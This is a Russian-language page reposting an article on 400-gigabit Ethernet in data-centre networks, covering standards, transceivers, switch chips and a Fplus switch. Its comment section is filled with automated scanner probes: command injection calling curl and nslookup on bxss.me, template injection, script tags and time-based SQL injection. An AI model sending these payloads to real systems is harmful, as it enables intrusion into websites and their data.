Этот сайт использует файлы cookies. Продолжая просмотр страниц сайта, вы соглашаетесь с использованием файлов cookies. Если вам нужна дополнительная информация, пожалуйста, посетите страницу Политика файлов Cookie
Subscribe
Прямой эфир
Cryptocurrencies: 9544 / Markets: 113007
Market Cap: $ 3 691 605 128 269 / 24h Vol: $ 296 812 996 119 / BTC Dominance: 59.836090041736%

Н Новости

Расцвет скоростей в сетях ЦОД: 400GbE уже мейнстрим или совсем мало?

c3a82fe51928ad5c39658196bc0cd15d.jpeg

Привет! Меня зовут Михаил Шпак, я занимаюсь комплексной архитектурой технологических решений в сетевой части ИТ-холдинга Fplus, который выпускает широкий спектр высокотехнологичных электронных устройств. В данной статье я хочу показать, как за последние 5 лет требования современного бизнеса и развитие ресурсоемких приложений (искусственного интеллекта, поисковых систем, мобильной связи стандарта 5G и т.д.) изменили требования к архитектуре, скорости и отзывчивости сетей, используемых в центрах обработки данных. Давайте разберемся, какие комплексные технологические решения заставляют нас ускоряться, а где можно использовать старые наработки и отточенные десятилетиями практики.

Вследствие быстрого развития технологий на мировом рынке телекоммуникационных вычислений и систем хранения данных в 2019 году заметно повысились требования к сетевой инфраструктуре. Существовавшие технологии уже не могли обеспечить требуемую скорость и необходимую производительность для приложений. Новую высоту задали «три кита» новой технологической эры: облачные вычисления (Cloud Computing), большие данные (Big Data) и искусственный интеллект (AI). Четвертый «кит» – интернет вещей (IoT) – утратил первоначальный вес, растворившись в трех упомянутых выше направлениях.

1. Технология 400GE: тогда и сегодня

В 2020 году международные вендоры провозгласили начало эры 400 GE. Российский рынок воспринял эту новость со здоровым скепсисом. Существует термин digital disrupt – цифровое потрясение или разрыв, – именно его рынок хотел избежать. Казалось бы, существующие технологии еще имели запас для модернизации. Да и не все понимали, что в этом цифровом рывке первично – высокая скорость ради самой скорости или объективная потребность в ней? Вернемся ненадолго в конец 10-х годов…

  • Многие ЦОД были построены с использованием классической архитектуры DCN. Они были достаточно удобны в эксплуатации и обладали простотой формирования резервных связей. В те годы мейнстримом были подключения по 10-25 Гбит/с и постепенный переход от трехзвенной архитектуры к архитектуре Clos – решению, позволяющему оптимизировать горизонтальный трафик.

  • Сдерживающими факторами были как технологические ограничения – наиболее распространенным стандартом интерфейса на тот момент являлся PCIe 3.0 (сейчас уже есть версии 4.0 и 5.0), с которым работало соответствующее поколение процессоров. При этом большая часть дисковых накопителей использовала интерфейс SATA/SAS. Переход к более скоростному NVMe только начался.

  • В инженерной инфраструктуре повсеместно использовались стойки по 5-7 кВт и структурированная кабельная система (СКС) для базовых топологий.

Рассмотрим требования к технической стороне информационно-коммуникационной инфраструктуры (ИКТ), которые формировались последние 5 лет. Примем за основу наших рассуждений утверждение, что требования к сети формирует и предъявляет не бизнес, а уровень развития приложений – то есть классическая организационная структура TOGAF и референсная архитектура от The Open Group IT4IT.

Структура референсной архитектуры IT4IT от The Open Group
Структура референсной архитектуры IT4IT от The Open Group

Бум повышения зрелости технологий, их переход из фазы шумихи в фазу адаптации к реальному использованию заставил заказчиков из мира бизнеса переосмыслить критерии качественной трансформации всей сетевой инфраструктуры. Особенно это было видно по их желанию перенять модели успешных лидеров рынка – технологических гигантов в лице Facebook, Apple, Amazon, Netflix и Google.

Сегодня, сложив все драйверы отраслей воедино, мы видим, что:

• Активное развитие бизнес-моделей и экосистем приводят к консолидации и трансформации ИКТ-ландшафта: например, экосистем МТС и Сбера.

• Примером успешного создания и выполнения ИТ-стратегий может служить программа «Надежность» банка ВТБ, появившаяся после прихода нового заместителя президента-председателя правления банка – Вадима Кулика.

• Иллюстрацией консолидации мощностей может послужить практика создания частного облака (Private Cloud) для всех дочерних организаций одной структуры – так, как это сделал «Росатом»/«Гринатом», где на этих принципах формируется отраслевой ИКТ-оператор.

Данные подходы позволяют перейти от лоскутизации к качественному изменению ИКТ. Исходя из этого можно с большой долей уверенности предположить, что ведущие потребители цифровых услуг – телекоммуникационная и банковская отрасли, энергетический сектор, государственные сервисы (gosuslugi.ru и т.д.) – начали осознавать, что сетевая инфраструктура могла бы нарастить темпы своего развития и перестать отставать от тех требований, которые бизнес и ненасытные приложения постоянно предъявляют к ее технологическому уровню. Их динамика хорошо показана в статистических данных по рынку.

Изменение скорости сетей за пять лет и прогноз на ближайшее будущее (на оси Y показан объем отгрузок сетевых устройств разных стандартов в миллионах штук).
Изменение скорости сетей за пять лет и прогноз на ближайшее будущее (на оси Y показан объем отгрузок сетевых устройств разных стандартов в миллионах штук).

Согласно отчетам Dell’Oro Group, уже в текущем году стандарт 400GE в области ИИ не просто стал обыденностью, но и буквально на глазах превращается в устаревающую технологию. По мнению аналитиков Dell’Oro, в ближайшие 3-4 года его заменит 800/1600 GE... Похоже, что в наши дни потребности технологических единорогов делают сетевую инфраструктуру ЦОД’ов для back-end-вычислений устаревшей за 1,5-2 года. Прошли те времена, когда технические решения можно было использовать 5-7, а то и 10-15 лет.

Прогноз изменения скорости в серверных сетях искусственного интеллекта
Прогноз изменения скорости в серверных сетях искусственного интеллекта

На этом моменте вспоминается английский писатель и математик Льюис Кэрролл и его известная цитата «Ну, а здесь, знаешь ли, приходится бежать со всех ног, чтобы только остаться на том же месте! Если же хочешь попасть в другое место, — тогда нужно бежать по меньшей мере вдвое быстрее!». Он явно что-то знал про темпы развития ИИ в наше время…

1.1 Основные преимущества 400GE

Использование 400-гигабитного Ethernet (400GE) имеет ряд преимуществ, важных для повышения производительности сети и эффективности работы.

  • Больше пропускной способности и рост производительности. Технология 400GE позволяет значительно увеличить пропускную способность ЦОД’ов. Таким образом, она обеспечивает более быстрый доступ к приложениям и сервисам, что является необходимым для облачных вычислений, а также для любой деятельности, требующей манипуляции с большими объемами данных.

  • Экономическая эффективность. Предприятия могут сэкономить на стоимости оборудования, интегрируя несколько соединений с более низкими скоростями в один канал 400GE. Кроме того, снижается энергопотребление и потребности в дополнительных площадях для размещения оборудования.

  • Масштабируемость. Способность обрабатывать постоянно растущий сетевой трафик без необходимости полной замены сетевой инфраструктуры делает 400GE перспективной технологией, которая оптимально подходит для масштабирования мощностей бизнесов.

1.2 В каких сферах применяется технология 400GE

  • Центры обработки данных: в центрах обработки данных 400GE обеспечивает гораздо более высокую скорость передачи данных между серверами, а также системами хранения данных и сетевыми коммутаторами, тем самым поддерживая крупномасштабную виртуализацию и аналитику больших данных.

  • Облачные сервисы: с развитием облачных вычислений технология 400GE позволяет быстро перемещать данные между устройствами и облачными сервисами, что значительно повышает производительность для пользователей, использующих приложения с интенсивным использованием полосы пропускания, такие как сети доставки контента (CDN), платформы потокового видео или системы ERP.

  • Телекоммуникации: базовым сетям и периферийным узлам в телекоммуникационных инфраструктурах требуется более высокая пропускная способность за счет каналов Ethernet 400 Гбит/с, где они могут справляться с более интенсивным трафиком, обусловленным увеличением абонентской базы, которая поставляется с новыми услугами, такими как мобильная связь 5G и т.д.

  • Высокопроизводительные вычисления (ИИ и HPC): сегодня, когда вычисления обходятся дорого с точки зрения времени, затрачиваемого на операцию, среды HPC используют технологию Ethernet 400 Гбит/с для соединения различных вычислительных кластеров вместе в одних и тех же стоечных шкафах (или даже в нескольких стойках рядом), чтобы обеспечить им доступ друг к другу с низкой задержкой. Это позволяет, например, проводить быстрое моделирование на основе огромных объемов научных данных, собранных в течение длительных периодов времени с различных датчиков по всему миру.

  • Магистральные сети: поскольку интернет-трафик продолжает экспоненциально расти из года в год, поставщикам услуг попросту необходимо внедрять новые технологии: в частности, выводить порты Ethernet 400G на своих маршрутизаторах. Такие устройства должны уметь эффективно пересылать пакеты на большие расстояния, при этом удовлетворяя темпы роста в отношении спроса на полосу пропускания (особенно с учетом доставки контента через сети CDN, популярность которых стремительно растет).

1.3 Эволюция стандартов Ethernet: от 10 до 400 Гбит/с

Первоначально созданный в начале 2000-х годов стандарт 10 Gigabit Ethernet (GE) значительно улучшил высокоскоростные сетевые приложения для центров обработки данных. Затем Институт инженеров по электротехнике и электронике (IEEE) предложил стандарты 40G и 100G Ethernet, поскольку спрос на пропускную способность рос. Новые стандарты позволили увеличить скорость передачи данных, сохранив при этом обратную совместимость с существующей инфраструктурой.

В 2017 году IEEE ратифицировал спецификацию 400 GE (IEEE 802.3bs), которая представляла существенный скачок вперед с точки зрения более высоких скоростей, необходимых для облачных вычислений, аналитики больших данных и потокового видео высокой четкости.

Эволюцию стандартов Ethernet от 10 до 400 Гбит/с хорошо показал создатель теории ограничений (TOC – Theory of Constraints) Элияху Голдратт в своей книге «Критическая цепь». Помимо справочной информации, таблица Голдратта наглядно демонстрирует, что IEEE активно перешел в риторике целесообразности от дата-центричности к вполне определенным областям, которые и стали драйверами для ускорения темпов разработки новых стандартов.

Стандарт

Дата ратификации

1GE

1998

Стандарт 1GbE (IEEE 802.3z) был принят в 1998 году и стал основой для широкого распространения Ethernet-сетей в 2000-х годах. Он обеспечивал пропускную способность в 1 Гбит/с по медным и оптоволоконным кабелям.

10GE

2002

Стандарт 10GbE (IEEE 802.3ae) был утвержден в 2002 году и предоставил значительный рост скорости, что требовалось для серверных и дата-центровых приложений. Включает как медные, так и оптоволоконные решения.

25GE

2016

Стандарт 25GbE (IEEE 802.3by) был ратифицирован в 2016 году как решение для серверов и хранения данных, обеспечивая увеличение пропускной способности при меньших затратах по сравнению с 40GbE.

100GE

2010

Стандарт 100GbE (IEEE 802.3ba) был принят в 2010 году. Это решение для высокоскоростных соединений в дата-центрах и между ними, подходящее для обработки больших объемов данных, облачных сервисов и HPC.

200GE

2017

Стандарт 200GbE (IEEE 802.3bs) был утвержден в 2017 году. Он стал важным шагом для высокоскоростных соединений в масштабируемых дата-центровых сетях, обеспечивая удвоение пропускной способности 100GbE.

400GE

2017

Стандарт 400GbE (IEEE 802.3bs) был ратифицирован в 2017 году, одновременно с 200GbE. Его разработали для удовлетворения растущих требований к пропускной способности, особенно в крупных облачных и высокоскоростных дата-центрах.

800GE

2020

Стандарт 800GbE (IEEE 802.3df) был принят в 2020 году. Это удвоение пропускной способности 400GbE, предназначенное для удовлетворения потребностей в сверхвысокой пропускной способности в крупных облачных инфраструктурах и дата-центрах, где требуется быстрая передача данных на большие расстояния.

1600GE

2023

Стандарт 1600GbE (IEEE 802.3dj) был предложен и ратифицирован в 2023 году. Это еще один шаг вперед в обеспечении сверхвысокой пропускной способности для крупнейших облачных и научных дата-центров, работающих с огромными объемами данных: например, для исследований в области ИИ.

2. Основные компоненты Ethernet 400G

Здесь я заканчиваю с вводной частью и предлагаю перейти к технологической стороне вопроса. Как мы поняли, в ландшафте Ethernet стандарт IEEE 802.3bs рассматривается как переломный момент, поскольку он в основном предназначен для обеспечения скорости передачи данных 400 Гбит/с за счет интеграции передовых технологий. Этот стандарт описал методику кодирования сигнала для скорости 400Gbps - PCS (Physical Coding Sublayer) 400GBASE-R, основанную на модуляции PAM4 с частотой 28ГГц, позволившую пропускать по электрическому бэкплейну (в PCB-картах) каналы 50Gbps и собирать из них (а именно из 8 таких подканалов) единый интерфейс 400GE.

В дополнение к этому, он включает многополосные методы передачи, которые позволяют осуществлять транспортировку информации единого интерфейса Ethernet по нескольким физическим каналам одновременно, тем самым увеличивая пропускную способность без необходимости вносить существенные изменения в существующую инфраструктуру.

Более того, этот стандарт зафиксировал новые, разработанные отраслевыми консорциумами, формфакторы для разъемов под трансиверные модули на необходимые 400GE 8 подканалов - QSFP-DD и OSFP, из которых QSFP-DD был разработан с учетом совместимости с типовым для интерфейсов 40/100GE c форм-фактором QSFP, что позволяет новым устройствам с интерфейсами 400 GE на слотах QSFP-DD, обеспечивать плавную эволюцию существующей инфраструктуры от 40/100GE к 400GE.

Кроме того, IEEE 802.3bs стандартизирует физическую среду для 400G Ethernet, т.е. соответствующие системы проводки и кабелей устанавливаются таким образом, чтобы обеспечить совместимость между оборудованием разных поставщиков, а также их местами развертывания. Все эти функции объединяются, чтобы создать прочную основу для сетевых решений, которые могут удовлетворить постоянно растущий спрос на полосу пропускания в современных цифровых экосистемах.

2.1 Варианты трансиверов и модуляций

Как правило, выбор определенного типа оборудования сильно зависит от поставленной задачи и от архитектуры того унаследованного оборудования, которое уже имеется в ЦОД’е. Специфику работы с унаследованным оборудованием оставим «за скобками» – баланс выгоды и рисков, возникающий при этом, может стать темой отдельного разговора. Коснемся важного технического вопроса – как объединить новые и старые фрагменты сети? Для этого необходим трансивер – устройство, преобразующее сигнал из одного формата в другой, что позволяет передавать его по разным типам кабелей.

Тип трансивера

Скорость

Тип кабеля

Дальность

Кол-во линий

Модуляция

Применение

CFP8

400 Gbps

SMF, MMF

SMF: до 100 км, MMF: до 100 м

8 (8x50G)

PAM4 (Pulse Amplitude Modulation 4-level)

Высокоскоростные соединения в крупных дата-центрах, облачные инфраструктуры

QSFP-DD

400 Gbps

SMF, MMF

SMF: до 100 км, MMF: до 100 м

8 (8x50G)

PAM4 (Pulse Amplitude Modulation 4-level)

Серверы, коммутаторы, маршрутизаторы в дата-центрах

OSFP

400 Gbps

SMF, MMF

SMF: до 100 км, MMF: до 100 м

8 (8x50G)

PAM4 (Pulse Amplitude Modulation 4-level)

Высокоплотные подключения в центрах обработки данных

400G SR8

400 Gbps

MMF

до 100 м

8 (8x50G)

PAM4 (Pulse Amplitude Modulation 4-level)

Короткие соединения в пределах одного дата-центра

400G DR4

400 Gbps

SMF

до 500 м (MMF) / до 2 км (SMF)

4 (4x100G)

DP-QPSK (Dual-Polarization Quadrature Phase Shift Keying)

Межсегментные соединения, междата-центричные соединения

400G FR4

400 Gbps

SMF

до 2 км

4 (4x100G)

DP-QPSK (Dual-Polarization Quadrature Phase Shift Keying)

Длинные соединения между дата-центрами, межсетевые связи

Выбор трансиверов для наших проектов стандарта 400GE зависит, в частности, от чипа ASIC и схемы модуляции. Например, модуляция PAM4 используется в режиме 100/200/400GE, а вот NRZ – 50/100/200GE, и они несовместимы друг с другом. Кроме того, оборудование выбирается с учетом сценария в таблице комментариев.

Стоит также обратить внимание на возможность использования брейкаут-режима (breakout mode) – когда происходит разделение одного физического порта с высокой пропускной способностью на несколько логических портов с меньшей пропускной способностью: т.е., порт 400GE переходит в режим работы 2x200GE или 4x100GE. Это может быть интересно при плавном переходе к новому уровню скоростей вычислений и передачи информации. Но, имейте в виду, что для работы в брейкаут-режиме, оборудование должно поддерживать такую функциональность, и могут понадобиться соответствующие кабели или адаптеры для подключения.

2.2 Сетевые чипы и их роль в технологической независимости

Постоянный рост пользовательских требований к производительности сетей приводит к тому что мы, производители и поставщики оборудования, тоже повышаем свои требования к производителям микросхем – чипмейкерам. Их готовность включиться в производство чипов современного уровня по модели Merchant Silicon помогает нам организовывать выпуск высокотехнологичной продукции в нашей стране.

Коммутатор – конструктивно сложное устройство, в котором используются разные алгоритмы обработки данных и, соответственно, разные типы микросхем: универсальный, но довольно медленный и энергозатратный CPU, быстрый специализированный ASIC – «сердце» коммутатора – и FPGA, адаптируемый пользователем под разные задачи.

Надо сказать, что производители ASIC – самые дотошные переговорщики и требовательные партнеры. Они знают себе цену. Чип ASIC – как мотор для автомобиля. Наша задача, образно выражаясь, сконструировать автомобиль вокруг полученного мотора и отправить чертежи на завод. Это непросто, поэтому портфель заказов формируется с учетом технологической платформы коммутатора и доступности того или иного чипа, а на этом рынке есть из чего выбрать – посмотрите, как выросли возможности микросхем за период с 2010 года.

Рост скорости передачи данных по мере совершенствования чипов на примере одного из вендоров Merchant Silicon
Рост скорости передачи данных по мере совершенствования чипов на примере одного из вендоров Merchant Silicon

Как мы видим, законы Мура и Меткалфа до сих пор работают, и рост производительности сетевого чипсета это отлично иллюстрирует.

3. А 400G Ethernet улучшает работу центров обработки данных?

Сложные методы сигнализации и технологии передачи данных позволяют технологии 400GE увеличить пропускную способность центра обработки данных в пять раз. Это достигается за счет упрощения передачи информации по каналам с высокой пропускной способностью. Объединяя множество потоков данных в один с помощью оптических волокон и современных разъемов, 400GE сокращает количество требуемых физических соединений, тем самым минимизируя задержку, а также повышая энергоэффективность по всем направлениям в операциях ЦОД.

3.1 Увеличение пропускной способности ЦОД

Переход модуляции от устаревшего стандарта NRZ к PAM4 и DP-QPSK позволяет нам рассчитывать на хороший задел роста производительности сетей, но за все приходится платить… Очевидно, что более сложные современные сетевые устройства уже выходят на уровень энергопотребления мощного сервера. Так что в ближайшем будущем при проектировании сетевых устройств первоочередными станут вопросы оптимизации энергопотребления и, следовательно, отвода тепла. При этом прорабатываться они будут на уровне подбора материалов и оптимизации физического слоя трансиверов.

3.2 400GE в машинном обучении и ИИ

В среде искусственного интеллекта или машинного обучения внедрение 400GbE важно, поскольку эта технология может работать с большими наборами данных, а также позволяет выполнять их быструю обработку в реальном времени. Однако рассматривая работу в режиме GPU-to-GPU, мы увидим, что если архитектура сети не включает в себя переподписку, то поток трафика (traffic flow) может упереться в какой-то один медленный или нестабильный путь и будет тормозить весь кластер вычислений. Поэтому на уровне 400GE уже ведутся не только классические методики, по которым уже сейчас построено огромное количество фабрик по всему миру, но и дополнительные оптимизационные практики, как на уровне модели OSI (Open Systems Interconnection) в целом, так и на обеспечивающих слоях.

Структура модели OSI
Структура модели OSI

В настоящее время каждый вендор по-своему решает проблемы, связанные с инкастом трафика при использовании некоторых распределенных приложений путем оптимизации ECN в сети и контролем трафика Machine-to-Machine (M2M). Однако внушает оптимизм тот факт, что противостояние NVIDIA и AMD будет ускорять развитие технологий и давать больше возможностей для вычисления именно в среде 400GE+.

4. Выбор стратегии и адаптации

В настоящее время на рынке существуют два подхода, две стратегии – Merchant Silicon и проприетарный Silicon. В первом случае у производителя огромный выбор устройств с разными параметрами (такую стратегию выбирают, например, Arista Networks и Juniper Networks), во втором – идеальная совместимость чипов собственного производства с собственными приложениями (яркий пример – Cisco SiliconOne и Huawei P5). Каждый подход имеет право на жизнь, однако процессы и проекты использования стандарта 400GE зачастую зависят от приложений, с которыми будет работать создаваемая сеть.

Чипы Merchant Silicon обычно предлагают широкие возможности настройки и масштабирования, что позволяет интеграторам и производителям быстро адаптировать их под различные нужды, будь то для небольших сетевых устройств или крупных корпоративных решений. Дальше важную роль начинает играть взаимодействие между разработчиками приложений и создателями инфраструктуры в процессе реализации крупных и средних программных проектов. Это взаимодействие становится особенно важным, когда речь идет о сложных проектах, требующих согласования и оптимизации как программного обеспечения, так и технологической инфраструктуры (серверы, сети, базы данных и т. д.).

Ключевым моментом является распределение ответственности за проект: кто будет отвечать за его успешное завершение, включая возможные проблемы и риски, связанные с технической стороной, производительностью, масштабируемостью или безопасностью. Ответственность за проект и решение технических рисков часто перекладывается на поставщиков программного обеспечения (разработчиков приложений) или системных интеграторов. Это делается для того, чтобы CIO (директор по информационным технологиям) мог быть уверенным, что все части системы, включая приложения и инфраструктуру, будут работать совместно и без сбоев. В случае проблем с проектом, эти поставщики или интеграторы будут нести ответственность, что уменьшает риск для заказчика.

Однако в последние годы R&D-вендоры стали недоступными. Во всяком случае, логистика превратилась в сложную задачу – каналы поставок удлинились, а способы оплаты усложнились. Таким образом мы приходим к модели бизнеса, которая популярна как в США, так и в Китае – технологические партнерства или консорциумы по географическому признаку.

В связи с этим те отечественные проекты, которые были начаты ранее и построены на основе старой архитектуры, успешно завершены или уже находятся на стадии завершения, а вот планы надо прорабатывать в тесном контакте с альтернативным поставщиком. Скорее всего, он будет работать по модели Merchant Silicon. При этом те, кто реализует небольшой проект, могут попробовать перебрать нескольких поставщиков – в небольших масштабах это приемлемый риск. Однако сложные и масштабные проекты требуют тщательного изучения потенциального партнера, сотрудничество с которым может продлиться долгие годы, а предлагаемые им технические решения лягут в основу вашей бизнес-стратегии.

Коммутатор FPLUS FDS-7532D1-R
Коммутатор FPLUS FDS-7532D1-R

В этом отношении компания Fplus формирует свою линейку продуктов и строит крепкие отношения с заказчиками. На сегодня большинство из них выбирает коммутаторы серии FDS-7000, причем одна из моделей этой серии, поддерживающая стандарт 400GE, входит в Реестр российской радиоэлектронной продукции. Предлагая такую модель нашим заказчикам, мы вместе с ними успешно преодолеваем те вызовы, которые я вкратце обрисовал в рамках данной статьи.

Коммутатор, поддерживающий стандарт Ethernet 400G – сложное устройство, однако в рамках программы импортозамещения нами освоен выпуск таких устройств, необходимых для реализации современных проектов в России.

5. Будущее сетевых технологий

Говоря о ближайшем будущем сетевых технологий, стоит отметить стандарт PCIe 6.0, который массово начнут внедрять в 2025 году, а также появление новых сетевых ускорителей: например, SuperNIC от NVIDIA Mellanox. В материалах NVIDIA уже обсуждают, как новые стандарты будут применяться: 400 GE планируется использовать в мультитенантных дата-центрах и для обучения ИИ в моделях East-West/North-South, а для новинки NVIDIA — Blackwell DGX B200 — для оптимальной работы потребуется уже 800 GE для трафика East-West.

Кроме того, вычисления не ограничиваются только сложными моделями. Весь классический слой гиперскейлеров IaaS/PaaS — крупных облачных провайдеров, использующих десятки тысяч серверов — активно обновляет сетевую инфраструктуру, оптимизируя частоту и количество ядер процессоров. Это способствует дальнейшей компактности платформ.

Что касается размещения оборудования в дата-центрах, то количество мест в стойках растет не так быстро, как требования к плотности вычислительных мощностей. Это позволяет продолжать использовать проверенные решения. Хотя 10-12 лет назад модель размещения коммутаторов EoR/MoR была заменена на модель ToR, чипы Merchant Silicon с пропускной способностью 25,6/51,2 Тбит/с позволяют переиспользовать старую архитектуру.

Также стоит отметить рост популярности NVMe/NVMeoF SDS (Software-defined storage). Например, система CEPH на одном NVMe-накопителе (с 2 OSD) до сих пор может обеспечивать скорость до 3-7 ГБ/с. Но чтобы избежать «бутылочного горлышка» при интенсивной нагрузке на сервер с 24 накопителями NVMe и синхронной репликацией, важно обеспечить наличие как минимум двух портов по 400 Гбит/с для поддержания стабильной работы.

Источник

  • 09.10.25 08:08 pHqghUme

    expr 9000227416 - 917575

  • 09.10.25 08:08 pHqghUme

    (nslookup -q=cname hitrirljyvgim44c57.bxss.me||curl hitrirljyvgim44c57.bxss.me))

  • 09.10.25 08:08 pHqghUme

    $(nslookup -q=cname hitnaasjhmbqf44699.bxss.me||curl hitnaasjhmbqf44699.bxss.me)

  • 09.10.25 08:08 pHqghUme

    &nslookup -q=cname hitdjgcbtalqm528b9.bxss.me&'\"`0&nslookup -q=cname hitdjgcbtalqm528b9.bxss.me&`'

  • 09.10.25 08:08 pHqghUme

    &(nslookup -q=cname hitgrfzhgegxdb7bdf.bxss.me||curl hitgrfzhgegxdb7bdf.bxss.me)&'\"`0&(nslookup -q=cname hitgrfzhgegxdb7bdf.bxss.me||curl hitgrfzhgegxdb7bdf.bxss.me)&`'

  • 09.10.25 08:08 pHqghUme

    |(nslookup -q=cname hitfmymffseet6e8b2.bxss.me||curl hitfmymffseet6e8b2.bxss.me)

  • 09.10.25 08:08 pHqghUme

    `(nslookup -q=cname hitohduurqhba06a59.bxss.me||curl hitohduurqhba06a59.bxss.me)`

  • 09.10.25 08:08 pHqghUme

    ;(nslookup -q=cname hitieevbtlzep92252.bxss.me||curl hitieevbtlzep92252.bxss.me)|(nslookup -q=cname hitieevbtlzep92252.bxss.me||curl hitieevbtlzep92252.bxss.me)&(nslookup -q=cname hitieevbtlzep92252.bxss.me||curl hitieevbtlzep92252.bxss.me)

  • 09.10.25 08:08 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:08 pHqghUme

    |(nslookup${IFS}-q${IFS}cname${IFS}hitanwkhusxwr37069.bxss.me||curl${IFS}hitanwkhusxwr37069.bxss.me)

  • 09.10.25 08:09 pHqghUme

    &(nslookup${IFS}-q${IFS}cname${IFS}hitochckpfbtw00d29.bxss.me||curl${IFS}hitochckpfbtw00d29.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitochckpfbtw00d29.bxss.me||curl${IFS}hitochckpfbtw00d29.bxss.me)&`'

  • 09.10.25 08:09 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}

  • 09.10.25 08:13 pHqghUme

    '"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?9425407

  • 09.10.25 08:13 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:14 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:16 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    "+response.write(9043995*9352716)+"

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    $(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    |(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)

  • 09.10.25 08:18 pHqghUme

    |(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:19 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:22 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:23 pHqghUme

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  • 09.10.25 08:24 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:24 pHqghUme

    e

  • 09.10.25 08:24 pHqghUme

    can I ask you a question please?-1 waitfor delay '0:0:15' --

  • 09.10.25 08:25 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --

  • 09.10.25 08:26 pHqghUme

    can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--

  • 09.10.25 08:26 pHqghUme

    e

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'"

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:28 pHqghUme

    @@olQP6

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891 from DUAL)

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891)

  • 09.10.25 08:30 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:33 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:35 pHqghUme

    e

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:40 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:40 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:41 pHqghUme

    e

  • 09.10.25 08:41 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:42 pHqghUme

    e

  • 09.10.25 11:05 marcushenderson624

